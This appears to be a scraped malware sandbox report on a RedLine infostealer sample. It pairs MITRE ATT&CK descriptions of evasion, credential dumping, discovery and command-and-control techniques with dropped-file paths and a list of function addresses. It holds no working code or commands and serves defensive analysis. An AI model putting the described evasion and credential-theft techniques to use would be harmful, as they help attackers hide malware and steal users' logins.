Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report W7ANVukbbj.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\twl97yF91.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\uPD30tM82.exe.log

C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Windows Analysis Report
W7ANVukbbj.exe

Function 00863BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMONCrypto

Function 00861AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Function 0086597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Function 00864FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Function 00862F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Function 00865467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Function 00862390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Function 00863FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Function 00862BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
libraryloaderCOMMON

Function 00866F40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 0086202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Function 008655A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Function 008653A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Function 0086256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Function 00866A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Function 008658C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Function 008651E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Function 008652B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
fileCOMMON

Function 00861FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
registryCOMMON

Function 00864CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146
COMMON

Function 00864C37 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Function 0086487A Relevance: 3.1, APIs: 2, Instructions: 59
fileCOMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre